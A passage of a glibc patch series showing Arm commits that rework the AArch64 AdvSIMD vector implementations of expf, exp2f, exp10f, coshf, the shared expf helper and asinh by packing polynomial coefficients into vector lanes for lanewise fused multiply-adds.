++  float64x2_t p1215 = vfmaq_f64 (p1213, x2, p1415);
++
++  float64x2_t p1617 = vfmaq_laneq_f64 (d->c16, z2, c1719, 0);
++  float64x2_t p1819 = vfmaq_laneq_f64 (d->c18, z2, c1719, 1);
++  float64x2_t p1619 = vfmaq_f64 (p1617, x2, p1819);
++
++  float64x2_t p815 = vfmaq_f64 (p811, x4, p1215);
++  float64x2_t p819 = vfmaq_f64 (p815, x8, p1619);
++
++  float64x2_t y = vfmaq_f64 (p07, p819, x8);
+ 
+   /* Finalize. y = shift + z + z^3 * P(z^2).  */
+   y = vfmaq_f64 (az, y, vmulq_f64 (z2, az));
+
+commit bf2b60a56036c951a798845223a2e04cc48507e4
+Author: Joana Cruz <Joana.Cruz@arm.com>
+Date:   Tue Dec 17 14:50:33 2024 +0000
+
+    AArch64: Improve codegen of AdvSIMD expf family
+    
+    Load the polynomial evaluation coefficients into 2 vectors and use lanewise MLAs.
+    Also use intrinsics instead of native operations.
+    expf: 3% improvement in throughput microbenchmark on Neoverse V1, exp2f: 5%,
+    exp10f: 13%, coshf: 14%.
+    
+    Reviewed-by: Wilco Dijkstra  <Wilco.Dijkstra@arm.com>
+    (cherry picked from commit cff9648d0b50d19cdaf685f6767add040d4e1a8e)
+
+diff --git a/sysdeps/aarch64/fpu/coshf_advsimd.c b/sysdeps/aarch64/fpu/coshf_advsimd.c
+index c1ab4923b8..cd5c866521 100644
+--- a/sysdeps/aarch64/fpu/coshf_advsimd.c
++++ b/sysdeps/aarch64/fpu/coshf_advsimd.c
+@@ -23,19 +23,27 @@
+ static const struct data
+ {
+   struct v_expf_data expf_consts;
+-  uint32x4_t tiny_bound, special_bound;
++  uint32x4_t tiny_bound;
++  float32x4_t bound;
++#if WANT_SIMD_EXCEPT
++  uint32x4_t special_bound;
++#endif
+ } data = {
+   .expf_consts = V_EXPF_DATA,
+   .tiny_bound = V4 (0x20000000), /* 0x1p-63: Round to 1 below this.  */
+   /* 0x1.5a92d8p+6: expf overflows above this, so have to use special case.  */
++  .bound = V4 (0x1.5a92d8p+6),
++#if WANT_SIMD_EXCEPT
+   .special_bound = V4 (0x42ad496c),
++#endif
+ };
+ 
+ #if !WANT_SIMD_EXCEPT
+ static float32x4_t NOINLINE VPCS_ATTR
+-special_case (float32x4_t x, float32x4_t y, uint32x4_t special)
++special_case (float32x4_t x, float32x4_t half_t, float32x4_t half_over_t,
++	      uint32x4_t special)
+ {
+-  return v_call_f32 (coshf, x, y, special);
++  return v_call_f32 (coshf, x, vaddq_f32 (half_t, half_over_t), special);
+ }
+ #endif
+ 
+@@ -47,14 +55,13 @@ float32x4_t VPCS_ATTR V_NAME_F1 (cosh) (float32x4_t x)
+ {
+   const struct data *d = ptr_barrier (&data);
+ 
+-  float32x4_t ax = vabsq_f32 (x);
+-  uint32x4_t iax = vreinterpretq_u32_f32 (ax);
+-  uint32x4_t special = vcgeq_u32 (iax, d->special_bound);
+-
+ #if WANT_SIMD_EXCEPT
+   /* If fp exceptions are to be triggered correctly, fall back to the scalar
+      variant for all inputs if any input is a special value or above the bound
+      at which expf overflows.  */
++  float32x4_t ax = vabsq_f32 (x);
++  uint32x4_t iax = vreinterpretq_u32_f32 (ax);
++  uint32x4_t special = vcgeq_u32 (iax, d->special_bound);
+   if (__glibc_unlikely (v_any_u32 (special)))
+     return v_call_f32 (coshf, x, x, v_u32 (-1));
+ 
+@@ -63,10 +70,13 @@ float32x4_t VPCS_ATTR V_NAME_F1 (cosh) (float32x4_t x)
+      input to 0, which will generate no exceptions.  */
+   if (__glibc_unlikely (v_any_u32 (tiny)))
+     ax = v_zerofy_f32 (ax, tiny);
++  float32x4_t t = v_expf_inline (ax, &d->expf_consts);
++#else
++  uint32x4_t special = vcageq_f32 (x, d->bound);
++  float32x4_t t = v_expf_inline (x, &d->expf_consts);
+ #endif
+ 
+   /* Calculate cosh by exp(x) / 2 + exp(-x) / 2.  */
+-  float32x4_t t = v_expf_inline (ax, &d->expf_consts);
+   float32x4_t half_t = vmulq_n_f32 (t, 0.5);
+   float32x4_t half_over_t = vdivq_f32 (v_f32 (0.5), t);
+ 
+@@ -75,7 +85,7 @@ float32x4_t VPCS_ATTR V_NAME_F1 (cosh) (float32x4_t x)
+     return vbslq_f32 (tiny, v_f32 (1), vaddq_f32 (half_t, half_over_t));
+ #else
+   if (__glibc_unlikely (v_any_u32 (special)))
+-    return special_case (x, vaddq_f32 (half_t, half_over_t), special);
++    return special_case (x, half_t, half_over_t, special);
+ #endif
+ 
+   return vaddq_f32 (half_t, half_over_t);
+diff --git a/sysdeps/aarch64/fpu/exp10f_advsimd.c b/sysdeps/aarch64/fpu/exp10f_advsimd.c
+index cf53e73290..55d9cd83f2 100644
+--- a/sysdeps/aarch64/fpu/exp10f_advsimd.c
++++ b/sysdeps/aarch64/fpu/exp10f_advsimd.c
+@@ -18,16 +18,15 @@
+    <https://www.gnu.org/licenses/>.  */
+ 
+ #include "v_math.h"
+-#include "poly_advsimd_f32.h"
+ 
+ #define ScaleBound 192.0f
+ 
+ static const struct data
+ {
+-  float32x4_t poly[5];
+-  float log10_2_and_inv[4];
+-  float32x4_t shift;
+-
++  float32x4_t c0, c1, c3;
++  float log10_2_high, log10_2_low, c2, c4;
++  float32x4_t inv_log10_2, special_bound;
++  uint32x4_t exponent_bias, special_offset, special_bias;
+ #if !WANT_SIMD_EXCEPT
+   float32x4_t scale_thresh;
+ #endif
+@@ -37,19 +36,24 @@ static const struct data
+      rel error: 0x1.89dafa3p-24
+      abs error: 0x1.167d55p-23 in [-log10(2)/2, log10(2)/2]
+      maxerr: 1.85943 +0.5 ulp.  */
+-  .poly = { V4 (0x1.26bb16p+1f), V4 (0x1.5350d2p+1f), V4 (0x1.04744ap+1f),
+-	    V4 (0x1.2d8176p+0f), V4 (0x1.12b41ap-1f) },
+-  .shift = V4 (0x1.8p23f),
+-
+-  /* Stores constants 1/log10(2), log10(2)_high, log10(2)_low, 0.  */
+-  .log10_2_and_inv = { 0x1.a934fp+1, 0x1.344136p-2, -0x1.ec10cp-27, 0 },
++  .c0 = V4 (0x1.26bb16p+1f),
++  .c1 = V4 (0x1.5350d2p+1f),
++  .c2 = 0x1.04744ap+1f,
++  .c3 = V4 (0x1.2d8176p+0f),
++  .c4 = 0x1.12b41ap-1f,
++  .inv_log10_2 = V4 (0x1.a934fp+1),
++  .log10_2_high = 0x1.344136p-2,
++  .log10_2_low = 0x1.ec10cp-27,
++  /* rint (log2 (2^127 / (1 + sqrt (2)))).  */
++  .special_bound = V4 (126.0f),
++  .exponent_bias = V4 (0x3f800000),
++  .special_offset = V4 (0x82000000),
++  .special_bias = V4 (0x7f000000),
+ #if !WANT_SIMD_EXCEPT
+   .scale_thresh = V4 (ScaleBound)
+ #endif
+ };
+ 
+-#define ExponentBias v_u32 (0x3f800000)
+-
+ #if WANT_SIMD_EXCEPT
+ 
+ # define SpecialBound 38.0f	       /* rint(log10(2^127)).  */
+@@ -67,17 +71,15 @@ special_case (float32x4_t x, float32x4_t y, uint32x4_t cmp)
+ 
+ #else
+ 
+-# define SpecialBound 126.0f /* rint (log2 (2^127 / (1 + sqrt (2)))).  */
+-# define SpecialOffset v_u32 (0x82000000)
+-# define SpecialBias v_u32 (0x7f000000)
++# define SpecialBound 126.0f
+ 
+ static float32x4_t VPCS_ATTR NOINLINE
+ special_case (float32x4_t poly, float32x4_t n, uint32x4_t e, uint32x4_t cmp1,
+ 	      float32x4_t scale, const struct data *d)
+ {
+   /* 2^n may overflow, break it up into s1*s2.  */
+-  uint32x4_t b = vandq_u32 (vclezq_f32 (n), SpecialOffset);
+-  float32x4_t s1 = vreinterpretq_f32_u32 (vaddq_u32 (b, SpecialBias));
++  uint32x4_t b = vandq_u32 (vclezq_f32 (n), d->special_offset);
++  float32x4_t s1 = vreinterpretq_f32_u32 (vaddq_u32 (b, d->special_bias));
+   float32x4_t s2 = vreinterpretq_f32_u32 (vsubq_u32 (e, b));
+   uint32x4_t cmp2 = vcagtq_f32 (n, d->scale_thresh);
+   float32x4_t r2 = vmulq_f32 (s1, s1);
+@@ -112,23 +114,23 @@ float32x4_t VPCS_ATTR NOINLINE V_NAME_F1 (exp10) (float32x4_t x)
+   /* exp10(x) = 2^n * 10^r = 2^n * (1 + poly (r)),
+      with poly(r) in [1/sqrt(2), sqrt(2)] and
+      x = r + n * log10 (2), with r in [-log10(2)/2, log10(2)/2].  */
+-  float32x4_t log10_2_and_inv = vld1q_f32 (d->log10_2_and_inv);
+-  float32x4_t z = vfmaq_laneq_f32 (d->shift, x, log10_2_and_inv, 0);
+-  float32x4_t n = vsubq_f32 (z, d->shift);
+-  float32x4_t r = vfmsq_laneq_f32 (x, n, log10_2_and_inv, 1);
+-  r = vfmsq_laneq_f32 (r, n, log10_2_and_inv, 2);
+-  uint32x4_t e = vshlq_n_u32 (vreinterpretq_u32_f32 (z), 23);
++  float32x4_t log10_2_c24 = vld1q_f32 (&d->log10_2_high);
++  float32x4_t n = vrndaq_f32 (vmulq_f32 (x, d->inv_log10_2));
++  float32x4_t r = vfmsq_laneq_f32 (x, n, log10_2_c24, 0);
++  r = vfmaq_laneq_f32 (r, n, log10_2_c24, 1);
++  uint32x4_t e = vshlq_n_u32 (vreinterpretq_u32_s32 (vcvtaq_s32_f32 (n)), 23);
+ 
+-  float32x4_t scale = vreinterpretq_f32_u32 (vaddq_u32 (e, ExponentBias));
++  float32x4_t scale = vreinterpretq_f32_u32 (vaddq_u32 (e, d->exponent_bias));
+ 
+ #if !WANT_SIMD_EXCEPT
+-  uint32x4_t cmp = vcagtq_f32 (n, v_f32 (SpecialBound));
++  uint32x4_t cmp = vcagtq_f32 (n, d->special_bound);
+ #endif
+ 
+   float32x4_t r2 = vmulq_f32 (r, r);
+-  float32x4_t poly
+-      = vfmaq_f32 (vmulq_f32 (r, d->poly[0]),
+-		   v_pairwise_poly_3_f32 (r, r2, d->poly + 1), r2);
++  float32x4_t p12 = vfmaq_laneq_f32 (d->c1, r, log10_2_c24, 2);
++  float32x4_t p34 = vfmaq_laneq_f32 (d->c3, r, log10_2_c24, 3);
++  float32x4_t p14 = vfmaq_f32 (p12, r2, p34);
++  float32x4_t poly = vfmaq_f32 (vmulq_f32 (r, d->c0), p14, r2);
+ 
+   if (__glibc_unlikely (v_any_u32 (cmp)))
+ #if WANT_SIMD_EXCEPT
+diff --git a/sysdeps/aarch64/fpu/exp2f_advsimd.c b/sysdeps/aarch64/fpu/exp2f_advsimd.c
+index 69e0b193a1..a4220da63c 100644
+--- a/sysdeps/aarch64/fpu/exp2f_advsimd.c
++++ b/sysdeps/aarch64/fpu/exp2f_advsimd.c
+@@ -21,24 +21,28 @@
+ 
+ static const struct data
+ {
+-  float32x4_t poly[5];
+-  uint32x4_t exponent_bias;
++  float32x4_t c1, c3;
++  uint32x4_t exponent_bias, special_offset, special_bias;
+ #if !WANT_SIMD_EXCEPT
+-  float32x4_t special_bound, scale_thresh;
++  float32x4_t scale_thresh, special_bound;
+ #endif
++  float c0, c2, c4, zero;
+ } data = {
+   /* maxerr: 1.962 ulp.  */
+-  .poly = { V4 (0x1.59977ap-10f), V4 (0x1.3ce9e4p-7f), V4 (0x1.c6bd32p-5f),
+-	    V4 (0x1.ebf9bcp-3f), V4 (0x1.62e422p-1f) },
++  .c0 = 0x1.59977ap-10f,
++  .c1 = V4 (0x1.3ce9e4p-7f),
++  .c2 = 0x1.c6bd32p-5f,
++  .c3 = V4 (0x1.ebf9bcp-3f),
++  .c4 = 0x1.62e422p-1f,
+   .exponent_bias = V4 (0x3f800000),
++  .special_offset = V4 (0x82000000),
++  .special_bias = V4 (0x7f000000),
+ #if !WANT_SIMD_EXCEPT
+   .special_bound = V4 (126.0f),
+   .scale_thresh = V4 (192.0f),
+ #endif
+ };
+ 
+-#define C(i) d->poly[i]
+-
+ #if WANT_SIMD_EXCEPT
+ 
+ # define TinyBound v_u32 (0x20000000)	  /* asuint (0x1p-63).  */
+@@ -55,16 +59,13 @@ special_case (float32x4_t x, float32x4_t y, uint32x4_t cmp)
+ 
+ #else
+ 
+-# define SpecialOffset v_u32 (0x82000000)
+-# define SpecialBias v_u32 (0x7f000000)
+-
+ static float32x4_t VPCS_ATTR NOINLINE
+ special_case (float32x4_t poly, float32x4_t n, uint32x4_t e, uint32x4_t cmp1,
+ 	      float32x4_t scale, const struct data *d)
+ {
+   /* 2^n may overflow, break it up into s1*s2.  */
+-  uint32x4_t b = vandq_u32 (vclezq_f32 (n), SpecialOffset);
+-  float32x4_t s1 = vreinterpretq_f32_u32 (vaddq_u32 (b, SpecialBias));
++  uint32x4_t b = vandq_u32 (vclezq_f32 (n), d->special_offset);
++  float32x4_t s1 = vreinterpretq_f32_u32 (vaddq_u32 (b, d->special_bias));
+   float32x4_t s2 = vreinterpretq_f32_u32 (vsubq_u32 (e, b));
+   uint32x4_t cmp2 = vcagtq_f32 (n, d->scale_thresh);
+   float32x4_t r2 = vmulq_f32 (s1, s1);
+@@ -80,13 +81,11 @@ special_case (float32x4_t poly, float32x4_t n, uint32x4_t e, uint32x4_t cmp1,
+ float32x4_t VPCS_ATTR NOINLINE V_NAME_F1 (exp2) (float32x4_t x)
+ {
+   const struct data *d = ptr_barrier (&data);
+-  float32x4_t n, r, r2, scale, p, q, poly;
+-  uint32x4_t cmp, e;
+ 
+ #if WANT_SIMD_EXCEPT
+   /* asuint(|x|) - TinyBound >= BigBound - TinyBound.  */
+   uint32x4_t ia = vreinterpretq_u32_f32 (vabsq_f32 (x));
+-  cmp = vcgeq_u32 (vsubq_u32 (ia, TinyBound), SpecialBound);
++  uint32x4_t cmp = vcgeq_u32 (vsubq_u32 (ia, TinyBound), SpecialBound);
+   float32x4_t xm = x;
+   /* If any lanes are special, mask them with 1 and retain a copy of x to allow
+      special_case to fix special lanes later. This is only necessary if fenv
+@@ -95,23 +94,24 @@ float32x4_t VPCS_ATTR NOINLINE V_NAME_F1 (exp2) (float32x4_t x)
+     x = vbslq_f32 (cmp, v_f32 (1), x);
+ #endif
+ 
+-    /* exp2(x) = 2^n (1 + poly(r)), with 1 + poly(r) in [1/sqrt(2),sqrt(2)]
+-       x = n + r, with r in [-1/2, 1/2].  */
+-  n = vrndaq_f32 (x);
+-  r = vsubq_f32 (x, n);
+-  e = vshlq_n_u32 (vreinterpretq_u32_s32 (vcvtaq_s32_f32 (x)), 23);
+-  scale = vreinterpretq_f32_u32 (vaddq_u32 (e, d->exponent_bias));
++  /* exp2(x) = 2^n (1 + poly(r)), with 1 + poly(r) in [1/sqrt(2),sqrt(2)]
++     x = n + r, with r in [-1/2, 1/2].  */
++  float32x4_t n = vrndaq_f32 (x);
++  float32x4_t r = vsubq_f32 (x, n);
++  uint32x4_t e = vshlq_n_u32 (vreinterpretq_u32_s32 (vcvtaq_s32_f32 (x)), 23);
++  float32x4_t scale = vreinterpretq_f32_u32 (vaddq_u32 (e, d->exponent_bias));
+ 
+ #if !WANT_SIMD_EXCEPT
+-  cmp = vcagtq_f32 (n, d->special_bound);
++  uint32x4_t cmp = vcagtq_f32 (n, d->special_bound);
+ #endif
+ 
+-  r2 = vmulq_f32 (r, r);
+-  p = vfmaq_f32 (C (1), C (0), r);
+-  q = vfmaq_f32 (C (3), C (2), r);
++  float32x4_t c024 = vld1q_f32 (&d->c0);
++  float32x4_t r2 = vmulq_f32 (r, r);
++  float32x4_t p = vfmaq_laneq_f32 (d->c1, r, c024, 0);
++  float32x4_t q = vfmaq_laneq_f32 (d->c3, r, c024, 1);
+   q = vfmaq_f32 (q, p, r2);
+-  p = vmulq_f32 (C (4), r);
+-  poly = vfmaq_f32 (p, q, r2);
++  p = vmulq_laneq_f32 (r, c024, 2);
++  float32x4_t poly = vfmaq_f32 (p, q, r2);
+ 
+   if (__glibc_unlikely (v_any_u32 (cmp)))
+ #if WANT_SIMD_EXCEPT
+diff --git a/sysdeps/aarch64/fpu/expf_advsimd.c b/sysdeps/aarch64/fpu/expf_advsimd.c
+index 5c9cb72620..70f137e2e5 100644
+--- a/sysdeps/aarch64/fpu/expf_advsimd.c
++++ b/sysdeps/aarch64/fpu/expf_advsimd.c
+@@ -21,20 +21,25 @@
+ 
+ static const struct data
+ {
+-  float32x4_t poly[5];
+-  float32x4_t inv_ln2, ln2_hi, ln2_lo;
+-  uint32x4_t exponent_bias;
++  float32x4_t c1, c3, c4, inv_ln2;
++  float ln2_hi, ln2_lo, c0, c2;
++  uint32x4_t exponent_bias, special_offset, special_bias;
+ #if !WANT_SIMD_EXCEPT
+   float32x4_t special_bound, scale_thresh;
+ #endif
+ } data = {
+   /* maxerr: 1.45358 +0.5 ulp.  */
+-  .poly = { V4 (0x1.0e4020p-7f), V4 (0x1.573e2ep-5f), V4 (0x1.555e66p-3f),
+-	    V4 (0x1.fffdb6p-2f), V4 (0x1.ffffecp-1f) },
++  .c0 = 0x1.0e4020p-7f,
++  .c1 = V4 (0x1.573e2ep-5f),
++  .c2 = 0x1.555e66p-3f,
++  .c3 = V4 (0x1.fffdb6p-2f),
++  .c4 = V4 (0x1.ffffecp-1f),
+   .inv_ln2 = V4 (0x1.715476p+0f),
+-  .ln2_hi = V4 (0x1.62e4p-1f),
+-  .ln2_lo = V4 (0x1.7f7d1cp-20f),
++  .ln2_hi = 0x1.62e4p-1f,
++  .ln2_lo = 0x1.7f7d1cp-20f,
+   .exponent_bias = V4 (0x3f800000),
++  .special_offset = V4 (0x82000000),
++  .special_bias = V4 (0x7f000000),
+ #if !WANT_SIMD_EXCEPT
+   .special_bound = V4 (126.0f),
+   .scale_thresh = V4 (192.0f),
+@@ -59,19 +64,17 @@ special_case (float32x4_t x, float32x4_t y, uint32x4_t cmp)
+ 
+ #else
+ 
+-# define SpecialOffset v_u32 (0x82000000)
+-# define SpecialBias v_u32 (0x7f000000)
+-
+ static float32x4_t VPCS_ATTR NOINLINE
+ special_case (float32x4_t poly, float32x4_t n, uint32x4_t e, uint32x4_t cmp1,
+ 	      float32x4_t scale, const struct data *d)
+ {
+   /* 2^n may overflow, break it up into s1*s2.  */
+-  uint32x4_t b = vandq_u32 (vclezq_f32 (n), SpecialOffset);
+-  float32x4_t s1 = vreinterpretq_f32_u32 (vaddq_u32 (b, SpecialBias));
++  uint32x4_t b = vandq_u32 (vclezq_f32 (n), d->special_offset);
++  float32x4_t s1 = vreinterpretq_f32_u32 (vaddq_u32 (b, d->special_bias));
+   float32x4_t s2 = vreinterpretq_f32_u32 (vsubq_u32 (e, b));
+   uint32x4_t cmp2 = vcagtq_f32 (n, d->scale_thresh);
+   float32x4_t r2 = vmulq_f32 (s1, s1);
++  // (s2 + p*s2)*s1 = s2(p+1)s1
+   float32x4_t r1 = vmulq_f32 (vfmaq_f32 (s2, poly, s2), s1);
+   /* Similar to r1 but avoids double rounding in the subnormal range.  */
+   float32x4_t r0 = vfmaq_f32 (scale, poly, scale);
+@@ -84,12 +87,11 @@ special_case (float32x4_t poly, float32x4_t n, uint32x4_t e, uint32x4_t cmp1,
+ float32x4_t VPCS_ATTR NOINLINE V_NAME_F1 (exp) (float32x4_t x)
+ {
+   const struct data *d = ptr_barrier (&data);
+-  float32x4_t n, r, r2, scale, p, q, poly;
+-  uint32x4_t cmp, e;
++  float32x4_t ln2_c02 = vld1q_f32 (&d->ln2_hi);
+ 
+ #if WANT_SIMD_EXCEPT
+   /* asuint(x) - TinyBound >= BigBound - TinyBound.  */
+-  cmp = vcgeq_u32 (
++  uint32x4_t cmp = vcgeq_u32 (
+       vsubq_u32 (vandq_u32 (vreinterpretq_u32_f32 (x), v_u32 (0x7fffffff)),
+ 		 TinyBound),
+       SpecialBound);
+@@ -103,22 +105,22 @@ float32x4_t VPCS_ATTR NOINLINE V_NAME_F1 (exp) (float32x4_t x)
+ 
+   /* exp(x) = 2^n (1 + poly(r)), with 1 + poly(r) in [1/sqrt(2),sqrt(2)]
+      x = ln2*n + r, with r in [-ln2/2, ln2/2].  */
+-  n = vrndaq_f32 (vmulq_f32 (x, d->inv_ln2));
+-  r = vfmsq_f32 (x, n, d->ln2_hi);
+-  r = vfmsq_f32 (r, n, d->ln2_lo);
+-  e = vshlq_n_u32 (vreinterpretq_u32_s32 (vcvtq_s32_f32 (n)), 23);
+-  scale = vreinterpretq_f32_u32 (vaddq_u32 (e, d->exponent_bias));
++  float32x4_t n = vrndaq_f32 (vmulq_f32 (x, d->inv_ln2));
++  float32x4_t r = vfmsq_laneq_f32 (x, n, ln2_c02, 0);
++  r = vfmsq_laneq_f32 (r, n, ln2_c02, 1);
++  uint32x4_t e = vshlq_n_u32 (vreinterpretq_u32_s32 (vcvtq_s32_f32 (n)), 23);
++  float32x4_t scale = vreinterpretq_f32_u32 (vaddq_u32 (e, d->exponent_bias));
+ 
+ #if !WANT_SIMD_EXCEPT
+-  cmp = vcagtq_f32 (n, d->special_bound);
++  uint32x4_t cmp = vcagtq_f32 (n, d->special_bound);
+ #endif
+ 
+-  r2 = vmulq_f32 (r, r);
+-  p = vfmaq_f32 (C (1), C (0), r);
+-  q = vfmaq_f32 (C (3), C (2), r);
++  float32x4_t r2 = vmulq_f32 (r, r);
++  float32x4_t p = vfmaq_laneq_f32 (d->c1, r, ln2_c02, 2);
++  float32x4_t q = vfmaq_laneq_f32 (d->c3, r, ln2_c02, 3);
+   q = vfmaq_f32 (q, p, r2);
+-  p = vmulq_f32 (C (4), r);
+-  poly = vfmaq_f32 (p, q, r2);
++  p = vmulq_f32 (d->c4, r);
++  float32x4_t poly = vfmaq_f32 (p, q, r2);
+ 
+   if (__glibc_unlikely (v_any_u32 (cmp)))
+ #if WANT_SIMD_EXCEPT
+diff --git a/sysdeps/aarch64/fpu/v_expf_inline.h b/sysdeps/aarch64/fpu/v_expf_inline.h
+index 08b06e0a6b..eacd2af241 100644
+--- a/sysdeps/aarch64/fpu/v_expf_inline.h
++++ b/sysdeps/aarch64/fpu/v_expf_inline.h
+@@ -24,50 +24,45 @@
+ 
+ struct v_expf_data
+ {
+-  float32x4_t poly[5];
+-  float32x4_t shift;
+-  float invln2_and_ln2[4];
++  float ln2_hi, ln2_lo, c0, c2;
++  float32x4_t inv_ln2, c1, c3, c4;
++  /* asuint(1.0f).  */
++  uint32x4_t exponent_bias;
+ };
+ 
+ /* maxerr: 1.45358 +0.5 ulp.  */
+ #define V_EXPF_DATA                                                           \
+   {                                                                           \
+-    .poly = { V4 (0x1.0e4020p-7f), V4 (0x1.573e2ep-5f), V4 (0x1.555e66p-3f),  \
+-	      V4 (0x1.fffdb6p-2f), V4 (0x1.ffffecp-1f) },                     \
+-    .shift = V4 (0x1.8p23f),                                                  \
+-    .invln2_and_ln2 = { 0x1.715476p+0f, 0x1.62e4p-1f, 0x1.7f7d1cp-20f, 0 },   \
++    .c0 = 0x1.0e4020p-7f, .c1 = V4 (0x1.573e2ep-5f), .c2 = 0x1.555e66p-3f,    \
++    .c3 = V4 (0x1.fffdb6p-2f), .c4 = V4 (0x1.ffffecp-1f),                     \
++    .ln2_hi = 0x1.62e4p-1f, .ln2_lo = 0x1.7f7d1cp-20f,                        \
++    .inv_ln2 = V4 (0x1.715476p+0f), .exponent_bias = V4 (0x3f800000),         \
+   }
+ 
+-#define ExponentBias v_u32 (0x3f800000) /* asuint(1.0f).  */
+-#define C(i) d->poly[i]
+-
+ static inline float32x4_t
+ v_expf_inline (float32x4_t x, const struct v_expf_data *d)
+ {
+-  /* Helper routine for calculating exp(x).
++  /* Helper routine for calculating exp(ax).
+      Copied from v_expf.c, with all special-case handling removed - the
+      calling routine should handle special values if required.  */
+ 
+-  /* exp(x) = 2^n (1 + poly(r)), with 1 + poly(r) in [1/sqrt(2),sqrt(2)]
+-     x = ln2*n + r, with r in [-ln2/2, ln2/2].  */
+-  float32x4_t n, r, z;
+-  float32x4_t invln2_and_ln2 = vld1q_f32 (d->invln2_and_ln2);
+-  z = vfmaq_laneq_f32 (d->shift, x, invln2_and_ln2, 0);
+-  n = vsubq_f32 (z, d->shift);
+-  r = vfmsq_laneq_f32 (x, n, invln2_and_ln2, 1);
+-  r = vfmsq_laneq_f32 (r, n, invln2_and_ln2, 2);
+-  uint32x4_t e = vshlq_n_u32 (vreinterpretq_u32_f32 (z), 23);
+-  float32x4_t scale = vreinterpretq_f32_u32 (vaddq_u32 (e, ExponentBias));
++  /* exp(ax) = 2^n (1 + poly(r)), with 1 + poly(r) in [1/sqrt(2),sqrt(2)]
++     ax = ln2*n + r, with r in [-ln2/2, ln2/2].  */
++  float32x4_t ax = vabsq_f32 (x);
++  float32x4_t ln2_c02 = vld1q_f32 (&d->ln2_hi);
++  float32x4_t n = vrndaq_f32 (vmulq_f32 (ax, d->inv_ln2));
++  float32x4_t r = vfmsq_laneq_f32 (ax, n, ln2_c02, 0);
++  r = vfmsq_laneq_f32 (r, n, ln2_c02, 1);
++  uint32x4_t e = vshlq_n_u32 (vreinterpretq_u32_s32 (vcvtq_s32_f32 (n)), 23);
++  float32x4_t scale = vreinterpretq_f32_u32 (vaddq_u32 (e, d->exponent_bias));
+ 
+   /* Custom order-4 Estrin avoids building high order monomial.  */
+   float32x4_t r2 = vmulq_f32 (r, r);
+-  float32x4_t p, q, poly;
+-  p = vfmaq_f32 (C (1), C (0), r);
+-  q = vfmaq_f32 (C (3), C (2), r);
++  float32x4_t p = vfmaq_laneq_f32 (d->c1, r, ln2_c02, 2);
++  float32x4_t q = vfmaq_laneq_f32 (d->c3, r, ln2_c02, 3);
+   q = vfmaq_f32 (q, p, r2);
+-  p = vmulq_f32 (C (4), r);
+-  poly = vfmaq_f32 (p, q, r2);
++  p = vmulq_f32 (d->c4, r);
++  float32x4_t poly = vfmaq_f32 (p, q, r2);
+   return vfmaq_f32 (scale, poly, scale);
+ }
+-
+ #endif
+
+commit abfd20ebbd2883f2c6e5f16709f7b9781c3c8068
+Author: Luna Lamb <luna.lamb@arm.com>
+Date:   Fri Jan 3 19:00:12 2025 +0000
+
+    AArch64: Improve codegen in AdvSIMD asinh
+    
+    Improves memory access and removes spills.
+    Load the polynomial evaluation coefficients into 2 vectors and use lanewise
+    MLAs.  Reduces MOVs 6->3 , LDR 11->5, STR/STP 2->0, ADRP 3->2.
+    
+    (cherry picked from commit 140b985e5a2071000122b3cb63ebfe88cf21dd29)
+
+diff --git a/sysdeps/aarch64/fpu/asinh_advsimd.c b/sysdeps/aarch64/fpu/asinh_advsimd.c
+index 6207e7da95..2739f98b39 100644
+--- a/sysdeps/aarch64/fpu/asinh_advsimd.c
++++ b/sysdeps/aarch64/fpu/asinh_advsimd.c
+@@ -20,41 +20,71 @@
+ #include "v_math.h"
+ #include "poly_advsimd_f64.h"
+ 
+-#define A(i) v_f64 (__v_log_data.poly[i])
+-#define N (1 << V_LOG_TABLE_BITS)
+-#define IndexMask (N - 1)
+-
+ const static struct data
+ {
+-  float64x2_t poly[18];
+-  uint64x2_t off, huge_bound, abs_mask;
+-  float64x2_t ln2, tiny_bound;
++  uint64x2_t huge_bound, abs_mask, off, mask;
++#if WANT_SIMD_EXCEPT
++  float64x2_t tiny_bound;
++#endif
++  float64x2_t lc0, lc2;
++  double lc1, lc3, ln2, lc4;
++
++  float64x2_t c0, c2, c4, c6, c8, c10, c12, c14, c16, c17;
++  double c1, c3, c5, c7, c9, c11, c13, c15;
++
+ } data = {
+-  .off = V2 (0x3fe6900900000000),
+-  .ln2 = V2 (0x1.62e42fefa39efp-1),
+-  .huge_bound = V2 (0x5fe0000000000000),
++
++#if WANT_SIMD_EXCEPT
+   .tiny_bound = V2 (0x1p-26),
+-  .abs_mask = V2 (0x7fffffffffffffff),
++#endif
+   /* Even terms of polynomial s.t. asinh(x) is approximated by
+      asinh(x) ~= x + x^3 * (C0 + C1 * x + C2 * x^2 + C3 * x^3 + ...).
+      Generated using Remez, f = (asinh(sqrt(x)) - sqrt(x))/x^(3/2).  */
+-  .poly = { V2 (-0x1.55555555554a7p-3), V2 (0x1.3333333326c7p-4),
+-	    V2 (-0x1.6db6db68332e6p-5), V2 (0x1.f1c71b26fb40dp-6),
+-	    V2 (-0x1.6e8b8b654a621p-6), V2 (0x1.1c4daa9e67871p-6),
+-	    V2 (-0x1.c9871d10885afp-7), V2 (0x1.7a16e8d9d2ecfp-7),
+-	    V2 (-0x1.3ddca533e9f54p-7), V2 (0x1.0becef748dafcp-7),
+-	    V2 (-0x1.b90c7099dd397p-8), V2 (0x1.541f2bb1ffe51p-8),
+-	    V2 (-0x1.d217026a669ecp-9), V2 (0x1.0b5c7977aaf7p-9),
+-	    V2 (-0x1.e0f37daef9127p-11), V2 (0x1.388b5fe542a6p-12),
+-	    V2 (-0x1.021a48685e287p-14), V2 (0x1.93d4ba83d34dap-18) },
++
++  .c0 = V2 (-0x1.55555555554a7p-3),
++  .c1 = 0x1.3333333326c7p-4,
++  .c2 = V2 (-0x1.6db6db68332e6p-5),
++  .c3 = 0x1.f1c71b26fb40dp-6,
++  .c4 = V2 (-0x1.6e8b8b654a621p-6),
++  .c5 = 0x1.1c4daa9e67871p-6,
++  .c6 = V2 (-0x1.c9871d10885afp-7),
++  .c7 = 0x1.7a16e8d9d2ecfp-7,
++  .c8 = V2 (-0x1.3ddca533e9f54p-7),
++  .c9 = 0x1.0becef748dafcp-7,
++  .c10 = V2 (-0x1.b90c7099dd397p-8),
++  .c11 = 0x1.541f2bb1ffe51p-8,
++  .c12 = V2 (-0x1.d217026a669ecp-9),
++  .c13 = 0x1.0b5c7977aaf7p-9,
++  .c14 = V2 (-0x1.e0f37daef9127p-11),
++  .c15 = 0x1.388b5fe542a6p-12,
++  .c16 = V2 (-0x1.021a48685e287p-14),
++  .c17 = V2 (0x1.93d4ba83d34dap-18),
++
++  .lc0 = V2 (-0x1.ffffffffffff7p-2),
